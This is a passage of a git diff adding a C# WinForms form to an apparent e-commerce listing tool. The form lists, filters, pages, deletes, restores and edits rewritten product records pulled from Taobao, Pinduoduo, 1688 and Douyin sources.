this.OriginalId.HeaderText = "原始ID"; + this.OriginalId.Name = "OriginalId"; + this.OriginalId.ReadOnly = true; + this.OriginalId.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.OriginalId.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.OriginalId.Width = 120; + // + // Price + // + this.Price.HeaderText = "价格"; + this.Price.Name = "Price"; + this.Price.ReadOnly = true; + this.Price.Width = 55; + // + // SaleAmount + // + this.SaleAmount.HeaderText = "销量"; + this.SaleAmount.Name = "SaleAmount"; + this.SaleAmount.ReadOnly = true; + this.SaleAmount.Width = 55; + // + // ColCategory + // + this.ColCategory.HeaderText = "分组"; + this.ColCategory.Name = "ColCategory"; + this.ColCategory.ReadOnly = true; + this.ColCategory.Width = 80; + // + // ColFullCategory + // + this.ColFullCategory.HeaderText = "完整类目"; + this.ColFullCategory.Name = "ColFullCategory"; + this.ColFullCategory.ReadOnly = true; + this.ColFullCategory.Width = 120; + // + // ColCategory1 + // + this.ColCategory1.HeaderText = "一级类目"; + this.ColCategory1.Name = "ColCategory1"; + this.ColCategory1.ReadOnly = true; + this.ColCategory1.Visible = false; + // + // ColCategory2 + // + this.ColCategory2.HeaderText = "二级类目"; + this.ColCategory2.Name = "ColCategory2"; + this.ColCategory2.ReadOnly = true; + this.ColCategory2.Visible = false; + // + // ColCategory3 + // + this.ColCategory3.HeaderText = "三级类目"; + this.ColCategory3.Name = "ColCategory3"; + this.ColCategory3.ReadOnly = true; + this.ColCategory3.Visible = false; + // + // ColTitleNum + // + this.ColTitleNum.HeaderText = "标题数量"; + this.ColTitleNum.Name = "ColTitleNum"; + this.ColTitleNum.ReadOnly = true; + this.ColTitleNum.Visible = false; + // + // ColUseCount + // + this.ColUseCount.HeaderText = "使用次数"; + this.ColUseCount.Name = "ColUseCount"; + this.ColUseCount.ReadOnly = true; + this.ColUseCount.Width = 70; + // + // ColDel + // + this.ColDel.HeaderText = "操作"; + this.ColDel.Name = "ColDel"; + this.ColDel.ReadOnly = true; + this.ColDel.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.ColDel.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.ColDel.Width = 50; + // + // ColReEdit + // + this.ColReEdit.HeaderText = "编辑"; + this.ColReEdit.Name = "ColReEdit"; + this.ColReEdit.ReadOnly = true; + this.ColReEdit.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.ColReEdit.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.ColReEdit.Width = 50; + // + // colMessage + // + this.colMessage.HeaderText = "消息"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + // + // ColSource + // + this.ColSource.HeaderText = "来源"; + this.ColSource.Name = "ColSource"; + this.ColSource.ReadOnly = true; + this.ColSource.Visible = false; + this.ColSource.Width = 50; + // + // ColSourceFake + // + this.ColSourceFake.HeaderText = "来源"; + this.ColSourceFake.Name = "ColSourceFake"; + this.ColSourceFake.ReadOnly = true; + this.ColSourceFake.Width = 50; + // + // ColRkTime + // + this.ColRkTime.HeaderText = "入库时间"; + this.ColRkTime.Name = "ColRkTime"; + this.ColRkTime.ReadOnly = true; + this.ColRkTime.Width = 138; + // + // ColUpdateTime + // + this.ColUpdateTime.HeaderText = "更新时间"; + this.ColUpdateTime.Name = "ColUpdateTime"; + this.ColUpdateTime.ReadOnly = true; + this.ColUpdateTime.Width = 138; + // + // ColNeedUpdate + // + this.ColNeedUpdate.HeaderText = "校验结果"; + this.ColNeedUpdate.Name = "ColNeedUpdate"; + this.ColNeedUpdate.ReadOnly = true; + // + // FissionDataBaseForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1264, 471); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Name = "FissionDataBaseForm"; + this.Text = "产品数据库"; + this.Load += new System.EventHandler(this.FissionDataBaseForm_Load); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.groupBox1.ResumeLayout(false); + this.groupBox14.ResumeLayout(false); + this.groupBox14.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dtEndTime)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.dtBaginTime)).EndInit(); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel1.PerformLayout(); + this.splitContainer2.Panel2.ResumeLayout(false); + this.splitContainer2.Panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.pbLoading)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.superTabControl1)).EndInit(); + this.superTabControl1.ResumeLayout(false); + this.superTabControlPanel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvFissionProduct)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private DevComponents.DotNetBar.SuperTabControl superTabControl1; + private DevComponents.DotNetBar.SuperTabControlPanel superTabControlPanel1; + private System.Windows.Forms.CheckBox chkIsProxyIp; + private DevComponents.DotNetBar.ButtonX btnDeleteSelect; + private DevComponents.DotNetBar.ButtonX btnClearParams; + private DevComponents.DotNetBar.ButtonX btnClearList; + private DevComponents.DotNetBar.ButtonX btnToUpload; + private DevComponents.DotNetBar.SuperTabItem superTabItem1; + private DevComponents.DotNetBar.SuperTabControlPanel superTabControlPanel2; + private DevComponents.DotNetBar.ButtonX buttonX3; + private DevComponents.DotNetBar.ButtonX btnRestore; + private DevComponents.DotNetBar.ButtonX btnCpRecycleBin; + private DevComponents.DotNetBar.ButtonX buttonX5; + private DevComponents.DotNetBar.SuperTabItem superTabItem2; + private System.Windows.Forms.GroupBox groupBox14; + private DevComponents.DotNetBar.PanelEx pnlDelCate; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbGroup; + private DevComponents.DotNetBar.LabelX labelX1; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label1; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbShopCat3; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbShopCat2; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbShopCat1; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbShop; + private System.Windows.Forms.Label lblShop; + private DevComponents.Editors.DateTimeAdv.DateTimeInput dtEndTime; + private DevComponents.Editors.DateTimeAdv.DateTimeInput dtBaginTime; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbSource; + private DevComponents.Editors.ComboItem cbiAll; + private DevComponents.Editors.ComboItem cbiTaobao; + private DevComponents.Editors.ComboItem cbiPingdd; + private DevComponents.Editors.ComboItem cbi1688; + private DevComponents.DotNetBar.LabelX labelX45; + private DevComponents.DotNetBar.LabelX labelX48; + private DevComponents.DotNetBar.LabelX labelX47; + private DevComponents.DotNetBar.Controls.TextBoxX txtFisssionTitle; + private DevComponents.DotNetBar.LabelX labelX23; + private System.Windows.Forms.Label label15; + private DevComponents.DotNetBar.Controls.TextBoxX txtSaleAmountMax; + private System.Windows.Forms.Label label16; + private DevComponents.DotNetBar.Controls.TextBoxX txtSaleAmountMin; + private System.Windows.Forms.Label label19; + private System.Windows.Forms.Label label20; + private DevComponents.DotNetBar.Controls.TextBoxX txtPriceMax; + private DevComponents.DotNetBar.Controls.TextBoxX txtPriceMin; + private DevComponents.DotNetBar.LabelX labelX24; + private DevComponents.DotNetBar.LabelX labelX25; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvFissionProduct; + private DevComponents.DotNetBar.ButtonX btnGoTo; + private DevComponents.DotNetBar.LabelX lblPrev; + private DevComponents.DotNetBar.LabelX lblNext; + private DevComponents.DotNetBar.Controls.ComboBoxEx cboxDisplayCount; + private DevComponents.DotNetBar.LabelX labelX46; + private DevComponents.DotNetBar.LabelX labelX43; + private DevComponents.DotNetBar.Controls.TextBoxX txtCurrentPage; + private DevComponents.DotNetBar.LabelX labelX42; + private DevComponents.DotNetBar.LabelX lblTotalPage; + private DevComponents.DotNetBar.LabelX labelX40; + private DevComponents.DotNetBar.LabelX lblCurrentPage; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbCat1; + private DevComponents.DotNetBar.LabelX labelX2; + private DevComponents.DotNetBar.ButtonX btnCheckUpProduct; + private System.Windows.Forms.GroupBox groupBox1; + private System.Windows.Forms.CheckBox chkUpdateUpChange; + private System.Windows.Forms.CheckBox chkDeleteUpDown; + private DevComponents.DotNetBar.ButtonX btnEditCheckUpdate; + private System.Windows.Forms.CheckBox chkNeedUpdate; + private System.Windows.Forms.PictureBox pbLoading; + private DevComponents.DotNetBar.Controls.ProgressBarX progressBarX1; + private DevComponents.DotNetBar.Controls.ComboBoxEx cmbCheckResult; + private DevComponents.DotNetBar.LabelX labelX3; + private DevComponents.Editors.ComboItem cbiNeedUpdate; + private DevComponents.Editors.ComboItem cbiNeedDelete; + private DevComponents.Editors.ComboItem cbiAllCheckResult; + private System.Windows.Forms.CheckBox chkAutoTurnPage; + private DevComponents.Editors.ComboItem cbiDy; + private DevComponents.DotNetBar.PanelEx btnSearchFission; + private DevComponents.DotNetBar.PanelEx btnAddFissToUpload; + private DevComponents.DotNetBar.Controls.TextBoxX txtMaxTimes; + private System.Windows.Forms.Label label5; + private DevComponents.DotNetBar.Controls.TextBoxX txtMinTimes; + private DevComponents.DotNetBar.LabelX labelX4; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.Label label4; + private DevComponents.DotNetBar.ButtonX btnMulitEdit; + private System.Windows.Forms.DataGridViewCheckBoxColumn ColSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn ColId; + private System.Windows.Forms.DataGridViewTextBoxColumn Title; + private System.Windows.Forms.DataGridViewTextBoxColumn ColOriginalTitle; + private System.Windows.Forms.DataGridViewLinkColumn OriginalId; + private System.Windows.Forms.DataGridViewTextBoxColumn Price; + private System.Windows.Forms.DataGridViewTextBoxColumn SaleAmount; + private System.Windows.Forms.DataGridViewTextBoxColumn ColCategory; + private System.Windows.Forms.DataGridViewTextBoxColumn ColFullCategory; + private System.Windows.Forms.DataGridViewTextBoxColumn ColCategory1; + private System.Windows.Forms.DataGridViewTextBoxColumn ColCategory2; + private System.Windows.Forms.DataGridViewTextBoxColumn ColCategory3; + private System.Windows.Forms.DataGridViewTextBoxColumn ColTitleNum; + private System.Windows.Forms.DataGridViewTextBoxColumn ColUseCount; + private System.Windows.Forms.DataGridViewLinkColumn ColDel; + private System.Windows.Forms.DataGridViewLinkColumn ColReEdit; + private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + private System.Windows.Forms.DataGridViewTextBoxColumn ColSource; + private System.Windows.Forms.DataGridViewTextBoxColumn ColSourceFake; + private System.Windows.Forms.DataGridViewTextBoxColumn ColRkTime; + private System.Windows.Forms.DataGridViewTextBoxColumn ColUpdateTime; + private System.Windows.Forms.DataGridViewTextBoxColumn ColNeedUpdate; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/FissionDataBaseForm.cs b/TEMUKJD/KJDForms/UploadForms/FissionDataBaseForm.cs new file mode 100644 index 0000000..28c5171 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/FissionDataBaseForm.cs @@ -0,0 +1,1701 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Param.FissionManage; +using AllBase.Model.Result; +using LittleRabbit.Extension; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util.Extension; +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.Api; +using Work.BLL.Upload; +using Work.CollectClass; +using Work.DouyinApiClass; + +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + public partial class FissionDataBaseForm : Form + { + public int ClickType = 0; // 0删除 1从删除产品中恢复数据 + public bool IsStop = false; + public bool IsUserProxyIp = false; + /// + /// 校验时上家下架则删除 + /// + public bool IsDeleteUpDown = false; + /// + /// 上家sku变化时自动更新(功能隐藏) + /// + public bool IsUpdateUpChange = false; + /// + /// 商品校验结果需要更新或删除 1 校验通过 9 上家已下架 0 上家有变化需要更新 + /// + public int ProductUpdateCheckResult = 1; + /// + /// 是否自动翻页 + /// + public bool IsAutoTurnPage = false; + /// + /// 是否正在翻页 + /// + public bool IsTurnPage = false; + + public List LstFission = new List(); + + CheckBox chkAll = null; + + public static FissionDataBaseForm Instance = null; + + public FissionDataBaseForm() + { + InitializeComponent(); + + Instance = this; + } + + private void FissionDataBaseForm_Load(object sender, EventArgs e) + { + chkAll = this.dgvFissionProduct.AddSelectorColumn("ColSelect"); + this.cmbSource.SelectedIndex = 0; + this.cmbCheckResult.SelectedIndex = 0; + + SetCateGroupOptions(); + SetMainCateOptions(); + SetPageOptions(); + RefreshShop(); + } + + private void btnSearchFission_Click(object sender, EventArgs e) + { + this.txtCurrentPage.Text = "1"; + + SearchFission(); + } + + public void SearchFission() + { + // 选择时间框一个选择了,另一个没选则提示两个都要选(或者都不选) + if ((dtBaginTime.Text.Trim() == "" ^ dtEndTime.Text.Trim() == "")) + { + BaseMsgForm.ShowInfo("请检查开始时间和结束时间是否都选择了!"); + return; + } + // 时间判断结束时间不能比开始时间小 + if (!string.IsNullOrEmpty(dtBaginTime.Text) && !string.IsNullOrEmpty(dtEndTime.Text)) + { + if (DateTime.Compare(DateTime.Parse(dtBaginTime.Text), DateTime.Parse(dtEndTime.Text)) > 0) + { + BaseMsgForm.ShowInfo("结束日期比开始日期大,请检查日期选择!"); + return; + } + } + + IsStop = false; + LstFission.Clear(); + dgvFissionProduct.Rows.Clear(); + string min_price = txtPriceMin.Text; + string max_price = txtPriceMax.Text; + string min_sales = txtSaleAmountMin.Text; + string max_sales = txtSaleAmountMax.Text; + string min_times = txtMinTimes.Text; + string max_times = txtMaxTimes.Text; + string teamGroup = cmbGroup.Text; + string beginTime = string.IsNullOrEmpty(dtBaginTime.Text) ? "" : DateTime.Parse(dtBaginTime.Text).ToString("yyyy-MM-dd"); + string endtime = string.IsNullOrEmpty(dtEndTime.Text) ? "" : DateTime.Parse(dtEndTime.Text).ToString("yyyy-MM-dd"); + if (string.IsNullOrEmpty(teamGroup) || teamGroup == "不限") + teamGroup = ""; + string cat1 = cmbShopCat1.Text; + if (string.IsNullOrEmpty(cat1) || cat1 == "不限") + cat1 = cmbCat1.Text; + if (string.IsNullOrEmpty(cat1) || cat1 == "不限") + cat1 = ""; + ProductUpdateCheckResult = 1; + if (cmbCheckResult.Text == "需更新商品") + ProductUpdateCheckResult = 0; + if (cmbCheckResult.Text == "上家下架") + ProductUpdateCheckResult = 9; + + string UseStatus = ""; + string current_page = this.lblCurrentPage.Text = this.txtCurrentPage.Text; + string pagesize = cboxDisplayCount.Text; + + string url = BaseClass.BuildFissionObjString("fession_api"); + string paraStr = "&min_price=" + min_price + + "&max_price=" + max_price + + "&min_sales=" + min_sales + + "&max_sales=" + max_sales + + "&min_times=" + min_times + + "&max_times=" + max_times + + "&begin_time=" + beginTime + + "&end_time=" + endtime + + "¤t_page=" + current_page + + "&pagesize=" + pagesize + + "&fessiontitle=" + HttpUtility.UrlEncode(txtFisssionTitle.Text, Encoding.UTF8) // 关键字 /其实查的是title + + (!string.IsNullOrEmpty(UseStatus) ? "×=" + UseStatus : "") // 使用次数 + + (cmbSource.Text != "" && cmbSource.Text != "不限" ? "&source=" + cmbSource.Text : "") // 来源 + + (cmbGroup.Text != "" && cmbGroup.Text != "不限" ? "&category=" + HttpUtility.UrlEncode(teamGroup, Encoding.UTF8) : "") // 店铺分组 + + "&main_cate=" + cat1 // 一级类目 + + (cmbShopCat2.Text != "" && cmbShopCat2.Text != "不限" ? "&cat2_name=" + cmbShopCat2.Text : "") // 二级类目 + + (cmbShopCat3.Text != "" && cmbShopCat3.Text != "不限" ? "&cat3_name=" + cmbShopCat3.Text : "") // 三级类目 + + (ProductUpdateCheckResult == 1 ? "" : ("&update_check_passed=" + ProductUpdateCheckResult)); + string requestData = UserLogin.GetSignaturex() + "&act=get" + paraStr; + + try + { + string htmlData = GetHtml.PostUtf8(url, requestData); + var FessionObj = JsonConvert.DeserializeObject(htmlData); // 反序列化 + if (FessionObj != null) + { + LstFission.AddRange(FessionObj.list); + SetFessionData(FessionObj); + } + } + catch (Exception ex) + { + LogSave.Add(Name, "访问服务器返回裂变数据异常"); + } + + IsTurnPage = false; + } + + /// + /// 设置分组信息列表 + /// + private void SetCateGroupOptions() + { + var groupList = new FissionDataBaseBLL().GetCategoryGroup(); + cmbGroup.DataSource = groupList; + } + /// + /// 设置类目信息列表 + /// + private void SetMainCateOptions() + { + var mainCateList = new FissionDataBaseBLL().GetMainCate(); + cmbCat1.DataSource = mainCateList; + } + /// + /// 设置分页选项列表 + /// + private void SetPageOptions() + { + Dictionary kvDictonary = new Dictionary(); + + kvDictonary.Add(1, 30); + kvDictonary.Add(2, 50); + kvDictonary.Add(3, 100); + kvDictonary.Add(4, 500); + BindingSource bs = new BindingSource(); + bs.DataSource = kvDictonary; + this.cboxDisplayCount.DataSource = bs; + this.cboxDisplayCount.ValueMember = "Key"; + this.cboxDisplayCount.DisplayMember = "Value"; + } + + public void RefreshShop() + { + cmbShop.Items.Clear(); + cmbShop.Items.Add("不限"); + foreach (var shop in GlobalConfig.DouShopLoginList) + { + cmbShop.Items.Add(shop.ShopAccount); + } + if (cmbShop.Items.Count > 0) + cmbShop.SelectedIndex = 0; + } + + private void cboxShop_SelectedIndexChanged(object sender, EventArgs e) + { + cmbShopCat1.DataSource = null; + cmbShopCat2.DataSource = null; + cmbShopCat3.DataSource = null; + cmbShopCat1.Items.Clear(); // 防止有的店铺没有一级、二级、三级类目,所以,更改店铺前要把一级类目清空 + cmbShopCat2.Items.Clear(); // 防止有的店铺没有一级、二级、三级类目,所以,更改店铺前要把二级类目清空 + cmbShopCat3.Items.Clear(); // 防止有的店铺没有一级、二级、三级类目,所以,更改店铺前要把三级类目清空 + List catList1 = new List(); + catList1.Insert(0, new GoodsCategoryModel() { name = "不限", parent_id = 0, level = 0, enable = true, is_leaf = false, id = -1, main_cat_id = 0 }); + + string shopname = cmbShop.Text; + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(x => x.ShopAccount == shopname); + if (shop != null) + { + catList1.AddRange(GetCategoryList(0, shop)); + } + + cmbShopCat1.DataSource = catList1; + cmbShopCat1.DisplayMember = "name"; + if (cmbShopCat1.Items.Count > 0) + cmbShopCat1.SelectedIndex = 0; + + if (cmbShop.Text != "" && cmbShop.Text != "不限") + { + cmbCat1.SelectedIndex = 0; + cmbCat1.Enabled = false; + } + else + { + cmbCat1.Enabled = true; + } + } + + private void cmbShopCat1_SelectedIndexChanged(object sender, EventArgs e) + { + cmbShopCat2.DataSource = null; + cmbShopCat3.DataSource = null; + cmbShopCat2.Items.Clear(); // 防止有的店铺没有一级、二级、三级类目,所以,更改店铺前要把二级类目清空 + cmbShopCat3.Items.Clear(); // 防止有的店铺没有一级、二级、三级类目,所以,更改店铺前要把一级类目清空 + List catList2 = new List(); + string shopname = cmbShop.Text; + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(x => x.ShopAccount == shopname); + if (shop != null) + { + if (cmbShopCat1.SelectedItem is GoodsCategoryModel) + catList2 = GetCategoryList((cmbShopCat1.SelectedItem as GoodsCategoryModel).id, shop); + } + catList2.Insert(0, new GoodsCategoryModel() { name = "不限", parent_id = 0, level = 0, enable = true, is_leaf = false, id = -1, main_cat_id = 0 }); + cmbShopCat2.DataSource = catList2; + cmbShopCat2.DisplayMember = "name"; + if (cmbShopCat2.Items.Count > 0) + cmbShopCat2.SelectedIndex = 0; + } + + private void cmbShopCat2_SelectedIndexChanged(object sender, EventArgs e) + { + cmbShopCat3.DataSource = null; + cmbShopCat3.Items.Clear(); // 防止有的店铺没有一级、二级、三级类目,所以,更改店铺前要把三级类目清空 + List catList3 = new List(); + string shopname = cmbShop.Text; + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(x => x.ShopAccount == shopname); + if (shop != null) + { + if (cmbShopCat2.SelectedItem is GoodsCategoryModel) + catList3 = GetCategoryList((cmbShopCat2.SelectedItem as GoodsCategoryModel).id, shop); + } + catList3.Insert(0, new GoodsCategoryModel() { name = "不限", parent_id = 0, level = 0, enable = true, is_leaf = false, id = -1, main_cat_id = 0 }); + cmbShopCat3.DataSource = catList3; + cmbShopCat3.DisplayMember = "name"; + if (cmbShopCat3.Items.Count > 0) + cmbShopCat3.SelectedIndex = 0; + } + + private void cmbShopCat3_SelectedIndexChanged(object sender, EventArgs e) + { + } + + public List GetCategoryList(int catId, DouShopLoginInfo shop) + { + List cateList = new List(); + if (catId < 0) + return cateList; + DouyinApi api = new DouyinApi(shop); + var result = api.GetShopCategory(catId); + if (result.Contains("已过期")) + { + shop.ApiAuthStatus = "未授权"; + StartUp.SaveDouShopLoginInfo(); + GoodsCategoryModel cat = new GoodsCategoryModel() + { + enable = true, + id = 0, + is_leaf = false, + level = 0, + name = "店铺未授权", + parent_id = 0 + }; + cateList.Add(cat); + } + else if (result.Contains("\"code\":10000")) + { + var mc = BaseRegex.GetMatchRegex(ref result, "{([\\s\\S]+?)}"); + foreach (Match m in mc) + { + string r = m.Value; + + bool enable = BaseRegex.GetBoolJson(ref r, "enable"); + bool is_leaf = BaseRegex.GetBoolJson(ref r, "is_leaf"); + int level = BaseRegex.GetIntJson(ref r, "level"); + int id = BaseRegex.GetIntJson(ref r, "id"); + int parent_id = BaseRegex.GetIntJson(ref r, "parent_id"); + string name = BaseRegex.GetStringJson(ref r, "name"); + if (!string.IsNullOrEmpty(name)) + { + GoodsCategoryModel cat = new GoodsCategoryModel() + { + enable = enable, + id = id, + is_leaf = is_leaf, + level = level, + name = name, + parent_id = parent_id + }; + cateList.Add(cat); + } + } + } + return cateList; + } + + /// + /// 绑定裂变数据 + /// + public void SetFessionData(FissionRoot fissionRoot) + { + + int loadCount = int.Parse(this.cboxDisplayCount.Text == "" ? "30" : this.cboxDisplayCount.Text); + int totalPage = fissionRoot.count % loadCount == 0 ? fissionRoot.count / loadCount : (fissionRoot.count / loadCount) + 1; + if (int.Parse(this.lblTotalPage.Text) != totalPage) + this.lblTotalPage.Text = totalPage.ToString(); + + List FessionTempList = fissionRoot.list; + while (FessionTempList.Count > 0) + { + var o = FessionTempList[0]; + FessionTempList.RemoveAt(0); + if (o == null) + return; + + string catStr = Fission.GetFullCatString(o.cate_id.ParseToInt()); + if (string.IsNullOrEmpty(catStr)) + catStr = o.full_category_name; + if (string.IsNullOrEmpty(catStr)) + catStr = o.main_cate; + if (catStr == null) + catStr = ""; + + if (IsStop) // 当清空列表数据,停止绑定数据 + return; + + int iGrid = GetGridViewIndex(dgvFissionProduct, "ColId", o.id.ToString()); + if (iGrid < 0) // 如果表内没有已存在的数据,新增一条数据 + { + iGrid = this.dgvFissionProduct.Rows.Add(); + this.dgvFissionProduct.Rows[iGrid].Cells["ColSelect"].Value = false; //选择 + this.dgvFissionProduct.Rows[iGrid].Cells["ColId"].Value = o.id; //ID + } + this.dgvFissionProduct.Rows[iGrid].Cells["ColOriginalTitle"].Value = o.title; // 原始标题 + this.dgvFissionProduct.Rows[iGrid].Cells["OriginalId"].Value = o.fession_id; // 原始ID + this.dgvFissionProduct.Rows[iGrid].Cells["Title"].Value = o.fession_title; // 新标题 + this.dgvFissionProduct.Rows[iGrid].Cells["Price"].Value = o.price; // 价格 + this.dgvFissionProduct.Rows[iGrid].Cells["SaleAmount"].Value = o.sales; // 销量 + this.dgvFissionProduct.Rows[iGrid].Cells["ColCategory"].Value = o.category; // 组别 + this.dgvFissionProduct.Rows[iGrid].Cells["ColFullCategory"].Value = catStr; // 完整类目 + this.dgvFissionProduct.Rows[iGrid].Cells["ColCategory1"].Value = o.main_cate; // 类目1 + this.dgvFissionProduct.Rows[iGrid].Cells["ColCategory2"].Value = o.cat2_name; // 类目2 + this.dgvFissionProduct.Rows[iGrid].Cells["ColCategory3"].Value = o.cat3_name; // 类目3 + this.dgvFissionProduct.Rows[iGrid].Cells["ColTitleNum"].Value = o.TitleNum; // 标题数量 + this.dgvFissionProduct.Rows[iGrid].Cells["ColUseCount"].Value = o.times; // 使用次数 + this.dgvFissionProduct.Rows[iGrid].Cells["ColDel"].Value = ClickType == 0 ? "删除" : "恢复"; // 操作 + this.dgvFissionProduct.Rows[iGrid].Cells["ColReEdit"].Value = "编辑"; // 再次净化编辑数据 + this.dgvFissionProduct.Rows[iGrid].Cells["colMessage"].Value = ""; // 消息 + this.dgvFissionProduct.Rows[iGrid].Cells["ColSource"].Value = o.source; // 来源 + this.dgvFissionProduct.Rows[iGrid].Cells["ColSourceFake"].Value = "货源网"; // 来源Fake + this.dgvFissionProduct.Rows[iGrid].Cells["ColRkTime"].Value = o.addtime; // 入库时间 + this.dgvFissionProduct.Rows[iGrid].Cells["ColUpdateTime"].Value = o.update_time; // 修改时间 + this.dgvFissionProduct.Rows[iGrid].Cells["ColNeedUpdate"].Value = o.update_check_passed == 1 ? "" : (o.update_check_passed == 9 ? "上家下架" : "请更新商品"); // 校验更新 + } + } + + /// + /// 获取 datagridview所在的行下标,找不到则返回-1 + /// + /// + /// + /// + /// + int GetGridViewIndex(UserComponent.DataGridViewEx dgv, string columnName, string columnValue) + { + + for (int i = 0; i < dgv.Rows.Count; i++) + { + + string value = dgv.Rows[i].Cells[columnName].Value.ToString(); + if (value == columnValue) + { + return i; + } + } + return -1; + } + + private void btnGoTo_Click(object sender, EventArgs e) + { + int pageNum = 0; + if (string.IsNullOrEmpty(this.txtCurrentPage.Text)) + { + return; + } + if (int.TryParse(txtCurrentPage.Text, out pageNum)) + { + if (pageNum > 0 && pageNum <= int.Parse(this.lblTotalPage.Text)) + { + this.lblCurrentPage.Text = txtCurrentPage.Text; + SearchFission(); + } + else + { + BaseMsgForm.ShowInfo("输入的数字超出范围!"); + this.txtCurrentPage.Text = string.Empty; + } + } + else + { + BaseMsgForm.ShowInfo("请输入有效数字!"); + this.txtCurrentPage.Text = string.Empty; + } + } + + private void dgvFissionProduct_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.RowIndex < 0 || e.ColumnIndex < 0) + return; + + var columnName = dgvFissionProduct.Columns[e.ColumnIndex].Name; + var headerText = dgvFissionProduct.Columns[e.ColumnIndex].HeaderText; + if (headerText == "选" || columnName == "ColSelect") + { + dgvFissionProduct.Rows[e.RowIndex].Cells["ColSelect"].Value = !dgvFissionProduct.Rows[e.RowIndex].Cells["ColSelect"].Value.ParseToBool(); + } + else if (headerText == "操作") + { + string OperatingName = dgvFissionProduct.Rows[e.RowIndex].Cells["ColDel"].Value.ToString(); + string Id = dgvFissionProduct.Rows[e.RowIndex].Cells["ColId"].Value.ToString(); + string OrgId = dgvFissionProduct.Rows[e.RowIndex].Cells["OriginalId"].Value.ToString(); // 原商品ID + if (OperatingName == "删除") + { + //if (BaseMsgForm.ShowConfirm("是否确认删除此数据?\r\n注:如果上货列表中有此数据将会一并删除。").DialogResult.Equals(DialogResult.Cancel)) return; + if (BaseMsgForm.ShowConfirm("是否确认删除此数据?").DialogResult.Equals(DialogResult.Cancel)) return; + // 根据上家标题,原始Id删除数据库数据 + Task.Factory.StartNew(() => { new FissionDataBaseBLL().DelFessionData(Id); }); + //// 删除listFissionPcb + //UploadProductForm.lstFissionPcb.RemoveAll(x => x != null && x.from_id == OrgId.ParseToLong()); + //// 删除上货列表备用商品 + //UploadProductBLL.ProductStock.RemoveAll(x => x.FromId == OrgId.ParseToLong()); + //// 删除本地数据库备用商品 + //UploadProductBLL.Delete(OrgId); + //// 刷新上传界面的上传队列数量 + //UploadProductForm.instance?.remain(); + } + else + { + if (BaseMsgForm.ShowConfirm("是否确认恢复此数据?").DialogResult.Equals(DialogResult.Cancel)) return; + // 根据上家标题,原始Id恢复 + Task.Factory.StartNew(() => new FissionDataBaseBLL().RestoreFessionData(Id.ToString())); + } + // 删除行 + dgvFissionProduct.Rows.RemoveAt(e.RowIndex); // 从集合中移除指定的行 + } + else if (headerText == "原始ID") + { + string source = dgvFissionProduct.Rows[e.RowIndex].Cells["ColSource"].Value.ToString(); // 来源 + string OrgId = dgvFissionProduct.Rows[e.RowIndex].Cells["OriginalId"].Value.ToString(); // 原商品ID + string url = GetFromUrl(source, OrgId); + + GetHtml.OpenUrl(url); + } + else if (headerText == "编辑") + { + string Id = dgvFissionProduct.Rows[e.RowIndex].Cells["ColId"].Value.ToString(); + var Fiss = this.LstFission.FirstOrDefault(f => f.id.ToString() == Id); + if (Fiss != null) + { + try + { + var fissionTemp = new FissionDataBaseBLL().GetFessionDetailById(Id.ParseToInt()); + Fiss.fession_title = fissionTemp.fession_title; + Fiss.container_info = fissionTemp?.container_info.Replace("'>", "'>"); + Fiss.main_pic = fissionTemp.main_pic; + Fiss.prop_pic = fissionTemp.prop_pic; + Fiss.props = fissionTemp.props; + Fiss.mainWord = fissionTemp.mainWord; + Fiss.viceword = fissionTemp.viceword; + Fiss.prop = fissionTemp.prop; + Fiss.skus = fissionTemp.skus; + Fiss.from_shop_name = 